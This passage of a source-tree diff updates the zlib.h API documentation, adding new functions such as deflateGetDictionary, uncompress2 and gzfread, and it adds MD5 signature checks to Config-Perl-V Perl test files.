- Z_BUF_ERROR if no progress is possible or if there was not enough room in the
- output buffer when Z_FINISH is used. Note that Z_BUF_ERROR is not fatal, and
+ value, in which case strm->msg points to a string with a more specific
+ error), Z_STREAM_ERROR if the stream structure was inconsistent (for example
+ next_in or next_out was Z_NULL, or the state was inadvertently written over
+ by the application), Z_MEM_ERROR if there was not enough memory, Z_BUF_ERROR
+ if no progress was possible or if there was not enough room in the output
+ buffer when Z_FINISH is used. Note that Z_BUF_ERROR is not fatal, and
inflate() can be called again with more input and more output space to
continue decompressing. If Z_DATA_ERROR is returned, the application may
then call inflateSync() to look for a good compression block if a partial
- recovery of the data is desired.
+ recovery of the data is to be attempted.
*/
@@ -511,9 +523,8 @@ ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm));
This function discards any unprocessed input and does not flush any pending
output.
- inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state
- was inconsistent. In the error case, msg may be set but then points to a
- static string (which must not be deallocated).
+ inflateEnd returns Z_OK if success, or Z_STREAM_ERROR if the stream state
+ was inconsistent.
*/
@@ -544,16 +555,29 @@ ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm,
compression at the expense of memory usage. The default value is 15 if
deflateInit is used instead.
+ For the current implementation of deflate(), a windowBits value of 8 (a
+ window size of 256 bytes) is not supported. As a result, a request for 8
+ will result in 9 (a 512-byte window). In that case, providing 8 to
+ inflateInit2() will result in an error when the zlib header with 9 is
+ checked against the initialization of inflate(). The remedy is to not use 8
+ with deflateInit2() with this initialization, or at least in that case use 9
+ with inflateInit2().
+
windowBits can also be -8..-15 for raw deflate. In this case, -windowBits
determines the window size. deflate() will then generate raw deflate data
- with no zlib header or trailer, and will not compute an adler32 check value.
+ with no zlib header or trailer, and will not compute a check value.
windowBits can also be greater than 15 for optional gzip encoding. Add
16 to windowBits to write a simple gzip header and trailer around the
compressed data instead of a zlib wrapper. The gzip header will have no
file name, no extra data, no comment, no modification time (set to zero), no
- header crc, and the operating system will be set to 255 (unknown). If a
- gzip stream is being written, strm->adler is a crc32 instead of an adler32.
+ header crc, and the operating system will be set to the appropriate value,
+ if the operating system was determined at compile time. If a gzip stream is
+ being written, strm->adler is a CRC-32 instead of an Adler-32.
+
+ For raw deflate or gzip encoding, a request for a 256-byte window is
+ rejected as invalid, since only the zlib header provides a means of
+ transmitting the window size to the decompressor.
The memLevel parameter specifies how much memory should be allocated
for the internal compression state. memLevel=1 uses minimum memory but is
@@ -614,12 +638,12 @@ ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm,
addition, the current implementation of deflate will use at most the window
size minus 262 bytes of the provided dictionary.
- Upon return of this function, strm->adler is set to the adler32 value
+ Upon return of this function, strm->adler is set to the Adler-32 value
of the dictionary; the decompressor may later use this value to determine
- which dictionary has been used by the compressor. (The adler32 value
+ which dictionary has been used by the compressor. (The Adler-32 value
applies to the whole dictionary even if only a subset of the dictionary is
actually used by the compressor.) If a raw deflate was requested, then the
- adler32 value is not computed and strm->adler is not set.
+ Adler-32 value is not computed and strm->adler is not set.
deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a
parameter is invalid (e.g. dictionary being Z_NULL) or the stream state is
@@ -628,6 +652,28 @@ ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm,
not perform any compression: this will be done by deflate().
*/
+ZEXTERN int ZEXPORT deflateGetDictionary OF((z_streamp strm,
+ Bytef *dictionary,
+ uInt *dictLength));
+/*
+ Returns the sliding dictionary being maintained by deflate. dictLength is
+ set to the number of bytes in the dictionary, and that many bytes are copied
+ to dictionary. dictionary must have enough space, where 32768 bytes is
+ always enough. If deflateGetDictionary() is called with dictionary equal to
+ Z_NULL, then only the dictionary length is returned, and nothing is copied.
+ Similary, if dictLength is Z_NULL, then it is not set.
+
+ deflateGetDictionary() may return a length less than the window size, even
+ when more than the window size in input has been provided. It may return up
+ to 258 bytes less in that case, due to how zlib's implementation of deflate
+ manages the sliding window and lookahead for matches, where matches can be
+ up to 258 bytes long. If the application needs the last window-size bytes of
+ input, then that would need to be saved by the application outside of zlib.
+
+ deflateGetDictionary returns Z_OK on success, or Z_STREAM_ERROR if the
+ stream state is inconsistent.
+*/
+
ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest,
z_streamp source));
/*
@@ -648,10 +694,10 @@ ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest,
ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm));
/*
- This function is equivalent to deflateEnd followed by deflateInit,
- but does not free and reallocate all the internal compression state. The
- stream will keep the same compression level and any other attributes that
- may have been set by deflateInit2.
+ This function is equivalent to deflateEnd followed by deflateInit, but
+ does not free and reallocate the internal compression state. The stream
+ will leave the compression level and any other attributes that may have been
+ set unchanged.
deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
stream state was inconsistent (such as zalloc or state being Z_NULL).
@@ -662,20 +708,36 @@ ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm,
int strategy));
/*
Dynamically update the compression level and compression strategy. The
- interpretation of level and strategy is as in deflateInit2. This can be
+ interpretation of level and strategy is as in deflateInit2(). This can be
used to switch between compression and straight copy of the input data, or
to switch to a different kind of input data requiring a different strategy.
- If the compression level is changed, the input available so far is
- compressed with the old level (and may be flushed); the new level will take
- effect only at the next call of deflate().
-
- Before the call of deflateParams, the stream state must be set as for
- a call of deflate(), since the currently available input may have to be
- compressed and flushed. In particular, strm->avail_out must be non-zero.
-
- deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source
- stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR if
- strm->avail_out was zero.
+ If the compression approach (which is a function of the level) or the
+ strategy is changed, and if any input has been consumed in a previous
+ deflate() call, then the input available so far is compressed with the old
+ level and strategy using deflate(strm, Z_BLOCK). There are three approaches
+ for the compression levels 0, 1..3, and 4..9 respectively. The new level
+ and strategy will take effect at the next call of deflate().
+
+ If a deflate(strm, Z_BLOCK) is performed by deflateParams(), and it does
+ not have enough output space to complete, then the parameter change will not
+ take effect. In this case, deflateParams() can be called again with the
+ same parameters and more output space to try again.
+
+ In order to assure a change in the parameters on the first try, the
+ deflate stream should be flushed using deflate() with Z_BLOCK or other flush
+ request until strm.avail_out is not zero, before calling deflateParams().
+ Then no more input data should be provided before the deflateParams() call.
+ If this is done, the old level and strategy will be applied to the data
+ compressed before deflateParams(), and the new level and strategy will be
+ applied to the the data compressed after deflateParams().
+
+ deflateParams returns Z_OK on success, Z_STREAM_ERROR if the source stream
+ state was inconsistent or if a parameter was invalid, or Z_BUF_ERROR if
+ there was not enough output space to complete the compression of the
+ available input data before a change in the strategy or approach. Note that
+ in the case of a Z_BUF_ERROR, the parameters are not changed. A return
+ value of Z_BUF_ERROR is not fatal, in which case deflateParams() can be
+ retried with more output space.
*/
ZEXTERN int ZEXPORT deflateTune OF((z_streamp strm,
@@ -793,7 +855,7 @@ ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm,
is for use with other formats that use the deflate compressed data format
such as zip. Those formats provide their own check values. If a custom
format is developed using the raw deflate format for compressed data, it is
- recommended that a check value such as an adler32 or a crc32 be applied to
+ recommended that a check value such as an Adler-32 or a CRC-32 be applied to
the uncompressed data as is done in the zlib, gzip, and zip formats. For
most applications, the zlib format should be used as is. Note that comments
above on the use in deflateInit2() applies to the magnitude of windowBits.
@@ -802,7 +864,10 @@ ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm,
32 to windowBits to enable zlib and gzip decoding with automatic header
detection, or add 16 to decode only the gzip format (the zlib format will
return a Z_DATA_ERROR). If a gzip stream is being decoded, strm->adler is a
- crc32 instead of an adler32.
+ CRC-32 instead of an Adler-32. Unlike the gunzip utility and gzread() (see
+ below), inflate() will not automatically decode concatenated gzip streams.
+ inflate() will return Z_STREAM_END at the end of the gzip stream. The state
+ would need to be reset to continue decoding a subsequent gzip stream.
inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_VERSION_ERROR if the zlib library version is incompatible with the
@@ -823,7 +888,7 @@ ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm,
Initializes the decompression dictionary from the given uncompressed byte
sequence. This function must be called immediately after a call of inflate,
if that call returned Z_NEED_DICT. The dictionary chosen by the compressor
- can be determined from the adler32 value returned by that call of inflate.
+ can be determined from the Adler-32 value returned by that call of inflate.
The compressor and decompressor must use exactly the same dictionary (see
deflateSetDictionary). For raw inflate, this function can be called at any
time to set the dictionary. If the provided dictionary is smaller than the
@@ -834,7 +899,7 @@ ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm,
inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a
parameter is invalid (e.g. dictionary being Z_NULL) or the stream state is
inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the
- expected one (incorrect adler32 value). inflateSetDictionary does not
+ expected one (incorrect Adler-32 value). inflateSetDictionary does not
perform any decompression: this will be done by subsequent calls of
inflate().
*/
@@ -892,7 +957,7 @@ ZEXTERN int ZEXPORT inflateCopy OF((z_streamp dest,
ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm));
/*
This function is equivalent to inflateEnd followed by inflateInit,
- but does not free and reallocate all the internal decompression state. The
+ but does not free and reallocate the internal decompression state. The
stream will keep attributes that may have been set by inflateInit2.
inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
@@ -904,7 +969,9 @@ ZEXTERN int ZEXPORT inflateReset2 OF((z_streamp strm,
/*
This function is the same as inflateReset, but it also permits changing
the wrap and window size requests. The windowBits parameter is interpreted
- the same as it is for inflateInit2.
+ the same as it is for inflateInit2. If the window size is changed, then the
+ memory allocated for the window is freed, and the window will be reallocated
+ by inflate() if needed.
inflateReset2 returns Z_OK if success, or Z_STREAM_ERROR if the source
stream state was inconsistent (such as zalloc or state being Z_NULL), or if
@@ -956,7 +1023,7 @@ ZEXTERN long ZEXPORT inflateMark OF((z_streamp strm));
location in the input stream can be determined from avail_in and data_type
as noted in the description for the Z_BLOCK flush parameter for inflate.
- inflateMark returns the value noted above or -1 << 16 if the provided
+ inflateMark returns the value noted above, or -65536 if the provided
source stream state was inconsistent.
*/
@@ -1048,9 +1115,9 @@ ZEXTERN int ZEXPORT inflateBack OF((z_streamp strm,
This routine would normally be used in a utility that reads zip or gzip
files and writes out uncompressed files. The utility would decode the
header and process the trailer on its own, hence this routine expects only
- the raw deflate stream to decompress. This is different from the normal
- behavior of inflate(), which expects either a zlib or gzip header and
- trailer around the deflate stream.
+ the raw deflate stream to decompress. This is different from the default
+ behavior of inflate(), which expects a zlib header and trailer around the
+ deflate stream.
inflateBack() uses two subroutines supplied by the caller that are then
called by inflateBack() for input and output. inflateBack() calls those
@@ -1059,12 +1126,12 @@ ZEXTERN int ZEXPORT inflateBack OF((z_streamp strm,
parameters and return types are defined above in the in_func and out_func
typedefs. inflateBack() will call in(in_desc, &buf) which should return the
number of bytes of provided input, and a pointer to that input in buf. If
- there is no input available, in() must return zero--buf is ignored in that
- case--and inflateBack() will return a buffer error. inflateBack() will call
- out(out_desc, buf, len) to write the uncompressed data buf[0..len-1]. out()
- should return zero on success, or non-zero on failure. If out() returns
- non-zero, inflateBack() will return with an error. Neither in() nor out()
- are permitted to change the contents of the window provided to
+ there is no input available, in() must return zero -- buf is ignored in that
+ case -- and inflateBack() will return a buffer error. inflateBack() will
+ call out(out_desc, buf, len) to write the uncompressed data buf[0..len-1].
+ out() should return zero on success, or non-zero on failure. If out()
+ returns non-zero, inflateBack() will return with an error. Neither in() nor
+ out() are permitted to change the contents of the window provided to
inflateBackInit(), which is also the buffer that out() uses to write from.
The length written by out() will be at most the window size. Any non-zero
amount of input may be provided by in().
@@ -1092,7 +1159,7 @@ ZEXTERN int ZEXPORT inflateBack OF((z_streamp strm,
using strm->next_in which will be Z_NULL only if in() returned an error. If
strm->next_in is not Z_NULL, then the Z_BUF_ERROR was due to out() returning
non-zero. (in() will always be called before out(), so strm->next_in is
- assured to be defined if out() returns non-zero.) Note that inflateBack()
+ assured to be defined if out() returns non-zero.) Note that inflateBack()
cannot return Z_OK.
*/
@@ -1114,7 +1181,7 @@ ZEXTERN uLong ZEXPORT zlibCompileFlags OF((void));
7.6: size of z_off_t
Compiler, assembler, and debug options:
- 8: DEBUG
+ 8: ZLIB_DEBUG
9: ASMV or ASMINF -- use ASM code
10: ZLIB_WINAPI -- exported functions use the WINAPI calling convention
11: 0 (reserved)
@@ -1164,7 +1231,8 @@ ZEXTERN int ZEXPORT compress OF((Bytef *dest, uLongf *destLen,
the byte length of the source buffer. Upon entry, destLen is the total size
of the destination buffer, which must be at least the value returned by
compressBound(sourceLen). Upon exit, destLen is the actual size of the
- compressed buffer.
+ compressed data. compress() is equivalent to compress2() with a level
+ parameter of Z_DEFAULT_COMPRESSION.
compress returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_BUF_ERROR if there was not enough room in the output
@@ -1180,7 +1248,7 @@ ZEXTERN int ZEXPORT compress2 OF((Bytef *dest, uLongf *destLen,
length of the source buffer. Upon entry, destLen is the total size of the
destination buffer, which must be at least the value returned by
compressBound(sourceLen). Upon exit, destLen is the actual size of the
- compressed buffer.
+ compressed data.
compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_BUF_ERROR if there was not enough room in the output buffer,
@@ -1203,7 +1271,7 @@ ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen,
uncompressed data. (The size of the uncompressed data must have been saved
previously by the compressor and transmitted to the decompressor by some
mechanism outside the scope of this compression library.) Upon exit, destLen
- is the actual size of the uncompressed buffer.
+ is the actual size of the uncompressed data.
uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_BUF_ERROR if there was not enough room in the output
@@ -1212,6 +1280,14 @@ ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen,
buffer with the uncompressed data up to that point.
*/
+ZEXTERN int ZEXPORT uncompress2 OF((Bytef *dest, uLongf *destLen,
+ const Bytef *source, uLong *sourceLen));
+/*
+ Same as uncompress, except that sourceLen is a pointer, where the
+ length of the source is *sourceLen. On return, *sourceLen is the number of
+ source bytes consumed.
+*/
+
/* gzip file access functions */
/*
@@ -1290,10 +1366,9 @@ ZEXTERN int ZEXPORT gzbuffer OF((gzFile file, unsigned size));
default buffer size is 8192 bytes. This function must be called after
gzopen() or gzdopen(), and before any other calls that read or write the
file. The buffer memory allocation is always deferred to the first read or
- write. Two buffers are allocated, either both of the specified size when
- writing, or one of the specified size and the other twice that size when
- reading. A larger buffer size of, for example, 64K or 128K bytes will
- noticeably increase the speed of decompression (reading).
+ write. Three times that size in buffer space is allocated. A larger buffer
+ size of, for example, 64K or 128K bytes will noticeably increase the speed
+ of decompression (reading).
The new buffer size also affects the maximum length for gzprintf().
@@ -1304,10 +1379,12 @@ ZEXTERN int ZEXPORT gzbuffer OF((gzFile file, unsigned size));
ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy));
/*
Dynamically update the compression level or strategy. See the description
- of deflateInit2 for the meaning of these parameters.
+ of deflateInit2 for the meaning of these parameters. Previously provided
+ data is flushed before the parameter change.
- gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not
- opened for writing.
+ gzsetparams returns Z_OK if success, Z_STREAM_ERROR if the file was not
+ opened for writing, Z_ERRNO if there is an error writing the flushed data,
+ or Z_MEM_ERROR if there is a memory allocation error.
*/
ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len));
@@ -1335,7 +1412,35 @@ ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len));
case.
gzread returns the number of uncompressed bytes actually read, less than
- len for end of file, or -1 for error.
+ len for end of file, or -1 for error. If len is too large to fit in an int,
+ then nothing is read, -1 is returned, and the error state is set to
+ Z_STREAM_ERROR.
+*/
+
+ZEXTERN z_size_t ZEXPORT gzfread OF((voidp buf, z_size_t size, z_size_t nitems,
+ gzFile file));
+/*
+ Read up to nitems items of size size from file to buf, otherwise operating
+ as gzread() does. This duplicates the interface of stdio's fread(), with
+ size_t request and return types. If the library defines size_t, then
+ z_size_t is identical to size_t. If not, then z_size_t is an unsigned
+ integer type that can contain a pointer.
+
+ gzfread() returns the number of full items read of size size, or zero if
+ the end of the file was reached and a full item could not be read, or if
+ there was an error. gzerror() must be consulted if zero is returned in
+ order to determine if there was an error. If the multiplication of size and
+ nitems overflows, i.e. the product does not fit in a z_size_t, then nothing
+ is read, zero is returned, and the error state is set to Z_STREAM_ERROR.
+
+ In the event that the end of file is reached and only a partial item is
+ available at the end, i.e. the remaining uncompressed data length is not a
+ multiple of size, then the final partial item is nevetheless read into buf
+ and the end-of-file flag is set. The length of the partial item read is not
+ provided, but could be inferred from the result of gztell(). This behavior
+ is the same as the behavior of fread() implementations in common libraries,
+ but it prevents the direct use of gzfread() to read a concurrently written
+ file, reseting and retrying on end-of-file, when size is not 1.
*/
ZEXTERN int ZEXPORT gzwrite OF((gzFile file,
@@ -1346,19 +1451,33 @@ ZEXTERN int ZEXPORT gzwrite OF((gzFile file,
error.
*/
+ZEXTERN z_size_t ZEXPORT gzfwrite OF((voidpc buf, z_size_t size,
+ z_size_t nitems, gzFile file));
+/*
+ gzfwrite() writes nitems items of size size from buf to file, duplicating
+ the interface of stdio's fwrite(), with size_t request and return types. If
+ the library defines size_t, then z_size_t is identical to size_t. If not,
+ then z_size_t is an unsigned integer type that can contain a pointer.
+
+ gzfwrite() returns the number of full items written of size size, or zero
+ if there was an error. If the multiplication of size and nitems overflows,
+ i.e. the product does not fit in a z_size_t, then nothing is written, zero
+ is returned, and the error state is set to Z_STREAM_ERROR.
+*/
+
ZEXTERN int ZEXPORTVA gzprintf Z_ARG((gzFile file, const char *format, ...));
/*
Converts, formats, and writes the arguments to the compressed file under
control of the format string, as in fprintf. gzprintf returns the number of
- uncompressed bytes actually written, or 0 in case of error. The number of
- uncompressed bytes written is limited to 8191, or one less than the buffer
- size given to gzbuffer(). The caller should assure that this limit is not
- exceeded. If it is exceeded, then gzprintf() will return an error (0) with
- nothing written. In this case, there may also be a buffer overflow with
- unpredictable consequences, which is possible only if zlib was compiled with
- the insecure functions sprintf() or vsprintf() because the secure snprintf()
- or vsnprintf() functions were not available. This can be determined using
- zlibCompileFlags().
+ uncompressed bytes actually written, or a negative zlib error code in case
+ of error. The number of uncompressed bytes written is limited to 8191, or
+ one less than the buffer size given to gzbuffer(). The caller should assure
+ that this limit is not exceeded. If it is exceeded, then gzprintf() will
+ return an error (0) with nothing written. In this case, there may also be a
+ buffer overflow with unpredictable consequences, which is possible only if
+ zlib was compiled with the insecure functions sprintf() or vsprintf()
+ because the secure snprintf() or vsnprintf() functions were not available.
+ This can be determined using zlibCompileFlags().
*/
ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s));
@@ -1418,7 +1537,7 @@ ZEXTERN int ZEXPORT gzflush OF((gzFile file, int flush));
If the flush parameter is Z_FINISH, the remaining data is written and the
gzip stream is completed in the output. If gzwrite() is called again, a new
gzip stream will be started in the output. gzread() is able to read such
- concatented gzip streams.
+ concatenated gzip streams.
gzflush should be called only when strictly necessary because it will
degrade compression if called too often.
@@ -1572,7 +1691,7 @@ ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len));
return the updated checksum. If buf is Z_NULL, this function returns the
required initial value for the checksum.
- An Adler-32 checksum is almost as reliable as a CRC32 but can be computed
+ An Adler-32 checksum is almost as reliable as a CRC-32 but can be computed
much faster.
Usage example:
@@ -1585,6 +1704,12 @@ ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len));
if (adler != original_adler) error();
*/
+ZEXTERN uLong ZEXPORT adler32_z OF((uLong adler, const Bytef *buf,
+ z_size_t len));
+/*
+ Same as adler32(), but with a size_t length.
+*/
+
/*
ZEXTERN uLong ZEXPORT adler32_combine OF((uLong adler1, uLong adler2,
z_off_t len2));
@@ -1614,6 +1739,12 @@ ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len));
if (crc != original_crc) error();
*/
+ZEXTERN uLong ZEXPORT crc32_z OF((uLong adler, const Bytef *buf,
+ z_size_t len));
+/*
+ Same as crc32(), but with a size_t length.
+*/
+
/*
ZEXTERN uLong ZEXPORT crc32_combine OF((uLong crc1, uLong crc2, z_off_t len2));
@@ -1644,19 +1775,35 @@ ZEXTERN int ZEXPORT inflateBackInit_ OF((z_streamp strm, int windowBits,
unsigned char FAR *window,
const char *version,
int stream_size));
-#define deflateInit(strm, level) \
- deflateInit_((strm), (level), ZLIB_VERSION, (int)sizeof(z_stream))
-#define inflateInit(strm) \
- inflateInit_((strm), ZLIB_VERSION, (int)sizeof(z_stream))
-#define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
- deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
- (strategy), ZLIB_VERSION, (int)sizeof(z_stream))
-#define inflateInit2(strm, windowBits) \
- inflateInit2_((strm), (windowBits), ZLIB_VERSION, \
- (int)sizeof(z_stream))
-#define inflateBackInit(strm, windowBits, window) \
- inflateBackInit_((strm), (windowBits), (window), \
- ZLIB_VERSION, (int)sizeof(z_stream))
+#ifdef Z_PREFIX_SET
+# define z_deflateInit(strm, level) \
+ deflateInit_((strm), (level), ZLIB_VERSION, (int)sizeof(z_stream))
+# define z_inflateInit(strm) \
+ inflateInit_((strm), ZLIB_VERSION, (int)sizeof(z_stream))
+# define z_deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
+ deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
+ (strategy), ZLIB_VERSION, (int)sizeof(z_stream))
+# define z_inflateInit2(strm, windowBits) \
+ inflateInit2_((strm), (windowBits), ZLIB_VERSION, \
+ (int)sizeof(z_stream))
+# define z_inflateBackInit(strm, windowBits, window) \
+ inflateBackInit_((strm), (windowBits), (window), \
+ ZLIB_VERSION, (int)sizeof(z_stream))
+#else
+# define deflateInit(strm, level) \
+ deflateInit_((strm), (level), ZLIB_VERSION, (int)sizeof(z_stream))
+# define inflateInit(strm) \
+ inflateInit_((strm), ZLIB_VERSION, (int)sizeof(z_stream))
+# define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
+ deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
+ (strategy), ZLIB_VERSION, (int)sizeof(z_stream))
+# define inflateInit2(strm, windowBits) \
+ inflateInit2_((strm), (windowBits), ZLIB_VERSION, \
+ (int)sizeof(z_stream))
+# define inflateBackInit(strm, windowBits, window) \
+ inflateBackInit_((strm), (windowBits), (window), \
+ ZLIB_VERSION, (int)sizeof(z_stream))
+#endif
#ifndef Z_SOLO
@@ -1676,10 +1823,10 @@ ZEXTERN int ZEXPORT gzgetc_ OF((gzFile file)); /* backward compatibility */
#ifdef Z_PREFIX_SET
# undef z_gzgetc
# define z_gzgetc(g) \
- ((g)->have ? ((g)->have--, (g)->pos++, *((g)->next)++) : gzgetc(g))
+ ((g)->have ? ((g)->have--, (g)->pos++, *((g)->next)++) : (gzgetc)(g))
#else
# define gzgetc(g) \
- ((g)->have ? ((g)->have--, (g)->pos++, *((g)->next)++) : gzgetc(g))
+ ((g)->have ? ((g)->have--, (g)->pos++, *((g)->next)++) : (gzgetc)(g))
#endif
/* provide 64-bit offset functions if _LARGEFILE64_SOURCE defined, and/or
@@ -1737,19 +1884,16 @@ ZEXTERN int ZEXPORT gzgetc_ OF((gzFile file)); /* backward compatibility */
#endif /* !Z_SOLO */
-/* hack for buggy compilers */
-#if !defined(ZUTIL_H) && !defined(NO_DUMMY_DECL)
- struct internal_state {int dummy;};
-#endif
-
/* undocumented functions */
ZEXTERN const char * ZEXPORT zError OF((int));
ZEXTERN int ZEXPORT inflateSyncPoint OF((z_streamp));
ZEXTERN const z_crc_t FAR * ZEXPORT get_crc_table OF((void));
ZEXTERN int ZEXPORT inflateUndermine OF((z_streamp, int));
+ZEXTERN int ZEXPORT inflateValidate OF((z_streamp, int));
+ZEXTERN unsigned long ZEXPORT inflateCodesUsed OF ((z_streamp));
ZEXTERN int ZEXPORT inflateResetKeep OF((z_streamp));
ZEXTERN int ZEXPORT deflateResetKeep OF((z_streamp));
-#if defined(_WIN32) && !defined(Z_SOLO)
+#if (defined(_WIN32) || defined(__CYGWIN__)) && !defined(Z_SOLO)
ZEXTERN gzFile ZEXPORT gzopen_w OF((const wchar_t *path,
const char *mode));
#endif
diff --git a/gnu/usr.bin/perl/cpan/Config-Perl-V/t/27_plv5202.t b/gnu/usr.bin/perl/cpan/Config-Perl-V/t/27_plv5202.t
index b546c206c07..33396be3a2f 100644
--- a/gnu/usr.bin/perl/cpan/Config-Perl-V/t/27_plv5202.t
+++ b/gnu/usr.bin/perl/cpan/Config-Perl-V/t/27_plv5202.t
@@ -5,7 +5,7 @@ use warnings;
BEGIN {
use Test::More;
- my $tests = 115;
+ my $tests = 119;
unless ($ENV{PERL_CORE}) {
require Test::NoWarnings;
Test::NoWarnings->import ();
@@ -43,6 +43,11 @@ foreach my $o (sort keys %$opt) {
is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
}
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "9f954ebc2be7b1d7e151ab28dbdf7062";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
is_deeply ($conf->{build}{patches}, [], "No local patches");
my %check = (
diff --git a/gnu/usr.bin/perl/cpan/Config-Perl-V/t/28_plv5220.t b/gnu/usr.bin/perl/cpan/Config-Perl-V/t/28_plv5220.t
index 0752b36ce48..77bc99d7976 100644
--- a/gnu/usr.bin/perl/cpan/Config-Perl-V/t/28_plv5220.t
+++ b/gnu/usr.bin/perl/cpan/Config-Perl-V/t/28_plv5220.t
@@ -5,7 +5,7 @@ use warnings;
BEGIN {
use Test::More;
- my $tests = 115;
+ my $tests = 119;
unless ($ENV{PERL_CORE}) {
require Test::NoWarnings;
Test::NoWarnings->import ();
@@ -43,6 +43,11 @@ foreach my $o (sort keys %$opt) {
is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
}
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "ddcc2d51e43bf18f5234ba66529068ef";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
is_deeply ($conf->{build}{patches}, [], "No local patches");
my %check = (
diff --git a/gnu/usr.bin/perl/cpan/Config-Perl-V/t/28_plv52201w.t b/gnu/usr.bin/perl/cpan/Config-Perl-V/t/28_plv52201w.t
index 8519e661680..1ec81a45e19 100644
--- a/gnu/usr.bin/perl/cpan/Config-Perl-V/t/28_plv52201w.t
+++ b/gnu/usr.bin/perl/cpan/Config-Perl-V/t/28_plv52201w.t
@@ -5,7 +5,7 @@ use warnings;
BEGIN {
use Test::More;
- my $tests = 115;
+ my $tests = 119;
unless ($ENV{PERL_CORE}) {
require Test::NoWarnings;
Test::NoWarnings->import ();
@@ -43,6 +43,11 @@ foreach my $o (sort keys %$opt) {
is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
}
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "dfb32b8299b66e8bdb2712934f700d94";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
is_deeply ($conf->{build}{patches}, [], "No local patches");
my %check = (
diff --git a/gnu/usr.bin/perl/cpan/Config-Perl-V/t/29_plv5235w.t b/gnu/usr.bin/perl/cpan/Config-Perl-V/t/29_plv5235w.t
new file mode 100644
index 00000000000..26d32819076
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Config-Perl-V/t/29_plv5235w.t
@@ -0,0 +1,123 @@
+#!/pro/bin/perl
+
+use strict;
+use warnings;
+
+BEGIN {
+ use Test::More;
+ my $tests = 119;
+ unless ($ENV{PERL_CORE}) {
+ require Test::NoWarnings;
+ Test::NoWarnings->import ();
+ $tests++;
+ }
+
+ plan tests => $tests;
+ }
+
+use Config::Perl::V;
+
+ok (my $conf = Config::Perl::V::plv2hash (<DATA>), "Read perl -v block");
+ok (exists $conf->{$_}, "Has $_ entry") for qw( build environment config inc );
+
+is ($conf->{build}{osname}, $conf->{config}{osname}, "osname");
+is ($conf->{build}{stamp}, "Nov 19 2015 00:18:50", "Build time");
+is ($conf->{config}{version}, "5.23.5", "reconstructed \$Config{version}");
+
+my $opt = Config::Perl::V::plv2hash ("")->{build}{options};
+foreach my $o (sort qw(
+ HAS_TIMES HAVE_INTERP_INTERN MULTIPLICITY PERLIO_LAYERS
+ PERL_COPY_ON_WRITE PERL_DONT_CREATE_GVSV
+ PERL_HASH_FUNC_ONE_AT_A_TIME_HARD
+ PERL_IMPLICIT_CONTEXT PERL_IMPLICIT_SYS PERL_MALLOC_WRAP
+ PERL_PRESERVE_IVUV
+ USE_ITHREADS
+ USE_LARGE_FILES USE_LOCALE USE_LOCALE_COLLATE
+ USE_LOCALE_CTYPE USE_LOCALE_NUMERIC USE_LOCALE_TIME
+ USE_PERLIO USE_PERL_ATOF
+ )) {
+ is ($conf->{build}{options}{$o}, 1, "Runtime option $o set");
+ delete $opt->{$o};
+ }
+foreach my $o (sort keys %$opt) {
+ is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
+ }
+
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "bccd5d78dfebd48b89faf7f1fe711733";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
+is_deeply ($conf->{build}{patches}, [], "No local patches");
+
+my %check = (
+ alignbytes => 8,
+ api_version => 23,
+ bincompat5005 => "undef",
+ byteorder => 1234,
